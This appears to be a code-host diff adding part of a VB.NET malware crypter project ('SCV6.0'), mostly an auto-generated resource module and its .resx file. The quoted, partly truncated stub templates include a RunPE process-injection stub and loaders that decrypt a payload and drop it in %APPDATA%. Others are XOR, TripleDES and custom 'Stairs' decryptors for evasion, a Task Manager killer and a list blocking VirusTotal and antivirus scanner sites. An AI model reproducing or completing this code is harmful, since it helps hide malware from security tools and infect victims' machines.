Return ResourceManager.GetString("RijndaelRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to using System.Runtime.InteropServices;
|
||||
'''using System;
|
||||
'''using System.Text;
|
||||
'''public class IX
|
||||
'''{
|
||||
''' [return: MarshalAs(UnmanagedType.Bool)]
|
||||
''' [DllImport("kernel32")]
|
||||
''' private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
''' [return: MarshalAs(UnmanagedType.Bool)]
|
||||
''' [DllImport("kernel32")]
|
||||
''' private static extern bool [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RpE() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RpE", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), N [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property StairsLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("StairsLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
''' For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
|
||||
''' Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
|
||||
''' Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
|
||||
''' Mod Convert.ToInt32(100000000, 2))
|
||||
''' Next
|
||||
''' Return Data
|
||||
''' End Function.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property StairsRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("StairsRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Option Explicit Off
|
||||
'''Option Strict Off
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Runtime.InteropServices
|
||||
'''Imports System
|
||||
'''Imports Microsoft.VisualBasic
|
||||
'''Imports System.Text
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Windows.Forms
|
||||
'''Imports System.IO
|
||||
'''Imports System.CodeDom.Compiler
|
||||
''''AssemblyCodes
|
||||
'''Public Class Out
|
||||
''' 'FakeAPI#1
|
||||
''' 'FakeAPI#2
|
||||
''' 'FakeAPI#3
|
||||
''' 'FakeAPI#4
|
||||
''' 'FakeAPI#5
|
||||
''' 'FakeAPI#6
|
||||
''' 'FakeAPI#7
|
||||
''' 'FakeAPI#8
|
||||
''' 'FakeAPI#9
|
||||
''' 'FakeAPI#A
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Stub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Stub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F59()
|
||||
''' Killer("taskmgr")
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TaskMSub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TaskMSub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
|
||||
''' R.GetObject("K"), True))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
|
||||
''' R.GetObject("K"), Tr [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TDESLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TDESLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
''' Dim keyArray As Byte()
|
||||
''' Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
''' If d Then
|
||||
''' Dim hashmd5 = New MD5CryptoServiceProvider()
|
||||
''' keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
''' Else
|
||||
''' keyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
''' End If
|
||||
''' Dim tdes = New TripleDESCryptoServiceProvider()
|
||||
''' td [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TDESRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TDESRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub W
|
||||
'''
|
||||
''' WebBlock("www.novirusthanks.org")
|
||||
'''
|
||||
''' WebBlock("www.virustotal.com")
|
||||
'''
|
||||
''' WebBlock("www.virusscan.jotti.org")
|
||||
'''
|
||||
''' WebBlock("www.malwarebytes.org")
|
||||
'''
|
||||
''' WebBlock("www.bitdefender.com/scanner/online/free.html")
|
||||
'''
|
||||
''' WebBlock("www.eset.com/online-scanner")
|
||||
'''
|
||||
''' WebBlock("housecall.trendmicro.com")
|
||||
'''
|
||||
''' WebBlock("www.kaspersky.com/scanforvirus")
|
||||
'''
|
||||
''' WebBlock("www.kaspersky.com/vir [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Websites() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Websites", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
''' R.GetObject("I")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
''' R.GetObject("F")))
|
||||
''' LoadMethod("IX", "R", [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property XORLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("XORLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
'''
|
||||
''' Dim lonDataPtr As Long
|
||||
'''
|
||||
''' Dim strDataOut As String = ""
|
||||
'''
|
||||
''' Dim intXOrValue1 As Integer
|
||||
'''
|
||||
''' Dim intXOrValue2 As Integer
|
||||
'''
|
||||
''' Dim H As String = "&H"
|
||||
'''
|
||||
''' For lonDataPtr = 1 To (Len(DataIn) / 2)
|
||||
'''
|
||||
''' intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
|
||||
'''
|
||||
''' intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property XORRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("XORRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="Add2StartUp" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Add2StartUp.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Adxdiag" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Adxdiag.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="ANotePad" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ANotePad.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AntisSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AntisSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="APIs" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\APIs.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Binder" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Binder.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Downloader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Downloader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="FolderOpt" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\FolderOpt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="FunctionA" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\FunctionA.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="HalDLL" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\HalDLL.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="KFunction" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\KFunction.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Killers" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Killers.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Melt" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Melt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="msconfig" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\msconfig.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyDec" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyDec.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyRC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyRC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyRC4Rev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyRC4Rev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyStairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyStairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyStairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyStairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyXORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyXORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyXORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyXORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RC4" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RC4.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Regedit" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Regedit.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="ResetStub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ResetStub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Restart" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Restart.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RijLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RijLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RijndaelRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RijndaelRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RpE" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RpE.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="StairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\StairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="StairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\StairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Stub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Stub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TaskMSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TaskMSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TDESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TDESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TDESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TDESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Websites" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Websites.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="XORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\XORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="XORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\XORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Invoke" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Invoke.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.SCV6._0.My.MySettings
|
||||
Get
|
||||
Return Global.SCV6._0.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
Reference in New Issue
Block a user